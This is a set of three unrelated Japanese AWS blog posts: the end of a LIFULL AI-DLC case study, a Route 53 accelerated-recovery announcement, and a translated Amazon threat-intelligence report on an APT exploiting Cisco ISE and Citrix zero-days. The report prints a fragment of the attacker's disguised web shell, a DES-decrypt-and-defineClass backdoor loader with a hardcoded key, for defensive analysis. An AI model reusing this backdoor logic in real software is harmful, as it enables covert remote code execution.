特筆すべきは、新卒メンバヌの成長速床です。通垞は時間をかけおキャッチアップする必芁のある 20 幎もののシステムぞの機胜远加を、入瀟半幎の新卒メンバヌが 3 日でできるようになりたした。AI-DLC は、経隓の浅いメンバヌでも高床な開発に参加できる環境を䜜り出しおいたす。 たずめ AI-DLC Unicorn Gym を通じお、LIFULL 様は個人レベルの AI 掻甚から組織レベルの掻甚ぞず倧きく前進したした。3 日間で想定開発期間の 3 倍以䞊の生産性向䞊を実珟し、3 チヌムが MVP 実装たで完了させたした。 より重芁なのは数字に衚れない倉化です。䌁画・デザむナヌ・゚ンゞニアが同期的にコラボレヌションする文化が根付き、「プラン→レビュヌ→実行→レビュヌ」ずいう AI-DLC のサむクルが日垞の開発プロセスに組み蟌たれおいたす。属人化しおいたノりハりが方法論ずしお蚀語化され、新卒メンバヌでも高床な開発に参加できるようになりたした。 LIFULL 様の AI-DLC ぞの取り組みは、ここからさらに加速しおいきたす。今埌は、この孊びを瀟内党䜓に展開し、より倚くのプロゞェクトで AI-DLC を実践するこずで、組織党䜓の生産性をさらに向䞊させおいきたす。 著者 長友 健人 (Kento Nagatomo) アマゟンりェブサヌビスゞャパン合同䌚瀟 ゜リュヌションアヌキテクト デゞタルネむティブビゞネスを展開されるお客様を䞭心に技術支揎をしおいたす。 磯野 圭茔 (Keisuke Isono) 株匏䌚瀟LIFULL テクノロゞヌ本郚 事業基盀郚 LIFULLのAWSクラりドむンフラ党䜓の管理・運甚チヌムの゚ンゞニアリングマネヌゞャヌ AWS CDKでコヌド化するこずで「誰にでもわかる」むンフラを䜜るこずに泚力しおいる。 たた、Amazon Q Developerの導入を䞻導し、AI-DLCによるチヌムのさらなる開発生産性向䞊も暡玢䞭。 吉氞祐倪Yoshinaga Yuta) 株匏䌚瀟LIFULL LIFULL HOME’S事業本郚プロダクト゚ンゞニアリング郚 賃貞・売買などのマヌケットを暪断した斜策を掚進するグルヌプの゚ンゞニアリングマネヌゞャヌ
2025 幎 11 月 26 日、パブリック DNS レコヌドを管理するための Amazon Route 53 高速埩旧に぀いお発衚したした。これは、米囜東郚 (バヌゞニア北郚) AWS リヌゞョン のサヌビス䞭断時に 60 分の目暙埩旧時間 (RTO) を実珟するように蚭蚈された、新しいドメむンネヌムサヌビス (DNS) 事業継続特城量です。この匷化により、お客様は地域的な障害時でも DNS の倉曎やむンフラストラクチャのプロビゞョニングを継続できるようになり、ミッションクリティカルなアプリケヌションの予枬可胜性ず耐障害性が向䞊したす。 AWS では、事業継続性を必芁ずするアプリケヌションを実行しおいるお客様から、事業継続芁件ず芏制遵守矩務を満たすために、远加の DNS レゞリ゚ンス機胜が必芁だずお䌺いしおきたした。AWS はグロヌバルむンフラストラクチャ党䜓で優れた可甚性を維持しおいたすが、銀行、フィンテック、SaaS などの芏制察象業界の組織は、予期しない地域的な混乱が発生した堎合でも、必芁に応じおスタンバむクラりドリ゜ヌスを迅速にプロビゞョニングしたり、トラフィックをリダむレクトしたりできるずいう安心感を求めおいたす。 パブリック DNS レコヌドを管理するための高速埩旧は、米囜東郚 (バヌゞニア北郚) リヌゞョンのサヌビスが䞭断されおから 60 分以内にお客様が実行できる DNS 倉曎を察象ずするこずで、このニヌズに応えたす。この特城量は既存の Route 53 セットアップずシヌムレスに連携し、フェむルオヌバヌシナリオ䞭に ChangeResourceRecordSets 、 GetChange 、 ListHostedZones 、 ListResourceRecordSets などの䞻芁な Route 53 API 操䜜ぞのアクセスを提䟛したす。お客様は、アプリケヌションやスクリプトを倉曎するこずなく、既存の Route 53 API ゚ンドポむントを匕き続き䜿甚できたす。 詊しおみたしょう 高速埩旧を䜿甚するように Route53 ホストゟヌンを蚭定するのは簡単です。ここでは、構築䞭の新しいりェブサむト甚に新しいホストゟヌンを䜜成しおいたす。 ホストゟヌンを䜜成するず、 [高速埩旧] ずいうラベルの付いた新しいタブが衚瀺されたす。ここで、高速埩旧はデフォルトで無効になっおいるこずがわかりたす。 有効にするには、 [有効化] ボタンをクリックしお、䞋のダむアログに瀺すずおり衚瀺されるモヌダルで遞択を確認するだけです。 高速埩旧の有効化が完了するたでに数分かかりたす。有効にするず、䞋のスクリヌンショットのように緑色の [有効化枈み] ステヌタスが衚瀺されたす。 高速埩旧は、 AWS マネゞメントコン゜ヌル の同じ領域からい぀でも無効にできたす。たた、既に䜜成した既存のホストゟヌンの高速埩旧を有効化するこずもできたす。 DNS 事業継続性の匷化 高速埩旧を有効化するず、お客様はサヌビスの䞭断時にいく぀かの重芁な機胜を利甚できたす。この特城量により、必芁な Route 53 API 操䜜ぞのアクセスが維持されるため、匕き続き最も必芁なタむミングで DNS 管理をご利甚いただけたす。組織は、サヌビスの党面的な埩旧を埅぀こずなく、匕き続き重芁な DNS の倉曎、新しいむンフラストラクチャのプロビゞョニング、トラフィックフロヌのリダむレクトを行うこずができたす。 この実装は、シンプルさず信頌性を重芖しお蚭蚈されおいたす。お客様が新しい API を習埗したり、既存の自動化スクリプトを倉曎したりする必芁はありたせん。同じ Route 53 ゚ンドポむントず API コヌルは匕き続き動䜜し、通垞の操䜜ずフェむルオヌバヌの䞡方のシナリオでシヌムレスな゚クスペリ゚ンスをご提䟛したす。 今すぐご利甚いただけたす Amazon Route 53 パブリックホストゟヌンの高速埩旧をご利甚いただけるようになりたした。この特城量は、AWS マネゞメントコン゜ヌル、 AWS コマンドラむンむンタヌフェむス (AWS CLI) 、 AWS ゜フトりェア開発キット (AWS SDK) 、たたは AWS CloudFormation や AWS Cloud Development Kit (AWS CDK) などの Infrastructure as Code Tools から有効化できたす。高速埩旧を䜿甚しおも远加コストは発生したせん。 高速埩旧の詳现ず䜿甚方法に぀いおは、 ドキュメント をご芧ください。 ã“の新機胜は、クラりドでミッションクリティカルなアプリケヌションを構築しお運甚するために必芁な DNS レゞリ゚ンスをお客様に提䟛するずいう AWS の継続的な取り組みの䞀環です。 原文は こちら です。
本ブログは 2025 幎 11 月 12 日に公開された AWS Blog “ Amazon discovers APT exploiting Cisco and Citrix zero-days ” を翻蚳したものです。 Amazon の脅嚁むンテリゞェンスチヌムは、高床な脅嚁アクタヌが Cisco Identity Service Engine (ISE) ず Citrix システムにおける未公開のれロデむ脆匱性を悪甚しおいるこずを特定したした。この攻撃キャンペヌンではカスタムマルりェアが䜿甚され、耇数の未公開脆匱性の悪甚が確認されたした。この発芋は、脅嚁アクタヌが重芁なアむデンティティずネットワヌクアクセス制埡むンフラストラクチャ (䌁業がセキュリティポリシヌの実斜ずネットワヌク党䜓の認蚌管理に䟝存しおいるシステム) を暙的にしおいる傟向を瀺しおいたす。 最初の発芋 Amazon の MadPot ハニヌポットサヌビスは、Citrix Bleed Two 脆匱性 (CVE-2025-5777) の公開前に、これを悪甚する゚クスプロむト詊行を怜出したした。これは、脅嚁アクタヌがこの脆匱性をれロデむずしお悪甚しおいたこずを瀺しおいたす。Amazon の脅嚁むンテリゞェンスチヌムは、Citrix の脆匱性を悪甚しおいる脅嚁を深く調査したした。その結果、Cisco ISE の圓時はドキュメント化されおおらず、脆匱なデシリアラむれヌション (逆シリアル化) ロゞックを䜿甚する゚ンドポむントを暙的ずする攻撃ペむロヌドを特定し、Cisco ぞ共有したした。この脆匱性は珟圚 CVE-2025-20337 ずしお指定されおおり、脅嚁アクタヌは Cisco ISE に察しお認蚌を経ずにリモヌトからコヌドを実行 (RCE) し、䟵害されたシステムぞの管理者レベルのアクセス暩を取埗するこずが可胜になりたす。この発芋で特に懞念されたのは、Cisco が CVE 番号を割り圓おたり、Cisco ISE の圱響を受けるすべおのバヌゞョンに包括的なパッチをリリヌスしたりする前に、実際の環境で゚クスプロむトが発生しおいたこずです。この手法は「 パッチギャップ攻撃 」ず呌ばれ、高床な攻撃グルヌプの兞型的な手口です。圌らはベンダヌが公開するセキュリティ情報を垞に監芖し、パッチが党ナヌザヌに行き枡る前の空癜期間を狙っお攻撃を仕掛けたす。 カスタム Web シェルのデプロむ ゚クスプロむトに成功した埌、脅嚁アクタヌは IdentityAuditAction ずいう名前の正芏の Cisco ISE コンポヌネントに停装したカスタム Web シェルをデプロむしたした。これは兞型的な既補のマルりェアではなく、Cisco ISE 環境専甚に蚭蚈されたカスタムビルドのバックドアでした。この Web シェルは高床な怜出回避機胜を備えおいたした。完党にむンメモリで動䜜し、フォレンゞックアヌティファクト (痕跡) を最小限に抑え、Java リフレクションを䜿甚しお実行䞭のスレッドに自身を泚入したす。たた、Tomcat サヌバヌ党䜓のすべおの HTTP リク゚ストを監芖するリスナヌずしお登録され、非暙準の Base64 ゚ンコヌディングを䜿甚した DES 暗号化を実装し、特定の HTTP ヘッダヌを正しく指定しなければアクセスできない仕組みでした。 以䞋は、攻撃者が自身の Web シェルにアクセスするための秘密の認蚌キヌを怜蚌するコヌドの䞀郚です。 if (matcher find()) { requestBody = matcher group(1) replace("*", "a") replace("$", "l"); Cipher encodeCipher = Cipher getInstance("DES/ECB/PKCS5Padding"); decodeCipher = Cipher getInstance("DES/ECB/PKCS5Padding"); byte[] key = "d384922c" getBytes(); encodeCipher init(1, new SecretKeySpec(key, "DES")); decodeCipher init(2, new SecretKeySpec(key, "DES")); byte[] data = Base64 getDecoder() decode(requestBody); data = decodeCipher doFinal(data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); if (proxyClass == null) { proxyClass = this defineClass(data); } else { Object f = proxyClass newInstance(); f equals(arrOut); f equals(request); f equals(data); f toString(); } セキュリティぞの圱響 前述のずおり、Amazon の脅嚁むンテリゞェンスチヌムは、MadPot ハニヌポットを通じお、脅嚁アクタヌが CVE-2025-20337 ず CVE-2025-5777 の䞡方をれロデむずしお悪甚し、調査時点でこれらの脆匱性を䜿甚しおむンタヌネットを無差別に暙的にしおいたこずを特定したした。この攻撃キャンペヌンを通じお、ネットワヌク゚ッゞの重芁な゚ンタヌプラむズむンフラストラクチャを暙的ずする脅嚁アクタヌの進化する戊術が明らかになりたした。脅嚁アクタヌのカスタムツヌルは、耇数の技術レむダヌにわたる深い知識を瀺したした。゚ンタヌプラむズ Java アプリケヌションや Tomcat サヌバヌずいった基盀技術から、Cisco Identity Service Engine 固有のアヌキテクチャに至るたで、詳现に理解しおいたこずが䌺えたす。耇数の未公開れロデむ゚クスプロむトを䜿甚しおいたこずは、高床な脆匱性調査胜力を持぀、たたは非公開の脆匱性情報源を持぀、最沢なリ゜ヌスを持぀脅嚁アクタヌであるこずを瀺しおいたす。 セキュリティチヌムぞの掚奚事項 セキュリティチヌムにずっお、これはアむデンティティ管理システムやリモヌトアクセスゲヌトりェむなどの重芁なむンフラストラクチャコンポヌネントが、脅嚁アクタヌにずっお䟝然ずしお䞻芁な暙的であるこずを再認識させるものです。これらの゚クスプロむトは認蚌なしに実行可胜であるため、適切に蚭定され现心の泚意を払っお維持されおいるシステムでさえ圱響を受ける可胜性がありたす。したがっお、包括的な倚局防埡戊略を実装し、異垞な動䜜パタヌンを識別できる堅牢な怜出機胜を開発するこずが䞍可欠です。AWS は、ファむアりォヌルたたは倚局アクセスを通じお、管理ポヌタルなどの特暩セキュリティアプラむアンス゚ンドポむントぞのアクセスを制限するこずを掚奚しおいたす。 ベンダヌリファレンス NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2025-5349 and CVE-2025-5777 Cisco Identity Services Engine Unauthenticated Remote Code Execution Vulnerabilities この投皿に関するご質問やサポヌトに぀いおは、 AWS サポヌト にお問い合わせください。 CJ Moses CJ Moses は Amazon Integrated Security の CISO です。CJ は Amazon 党䜓のセキュリティ゚ンゞニアリングず運甚を統括しおいたす。圌の䜿呜は、セキュリティ察策を最も導入しやすい遞択肢ずするこずで、Amazon のビゞネスを支えるこずです。CJ は 2007 幎 12 月に Amazon に入瀟し、Consumer CISO、そしお最近では AWS CISO など、さたざたな圹割を担圓した埌、2023 幎 9 月に Amazon Integrated Security の CISO になりたした。 Amazon に入瀟する前、CJ は連邊捜査局 (FBI) のサむバヌ郚門でコンピュヌタおよびネットワヌク䟵入察策の技術分析を統括しおいたした。CJ は空軍特別捜査局 (AFOSI) の特別捜査官も務めたした。CJ は、今日のセキュリティ業界の基瀎ず芋なされおいるいく぀かのコンピュヌタ䟵入調査を䞻導したした。 CJ はコンピュヌタサむ゚ンスず刑事叞法の孊䜍を持ち、SRO GT America GT2 レヌスカヌの珟圹ドラむバヌでもありたす。 本ブログは Security Solutions Architect の äž­å³¶ 章博 が翻蚳したした。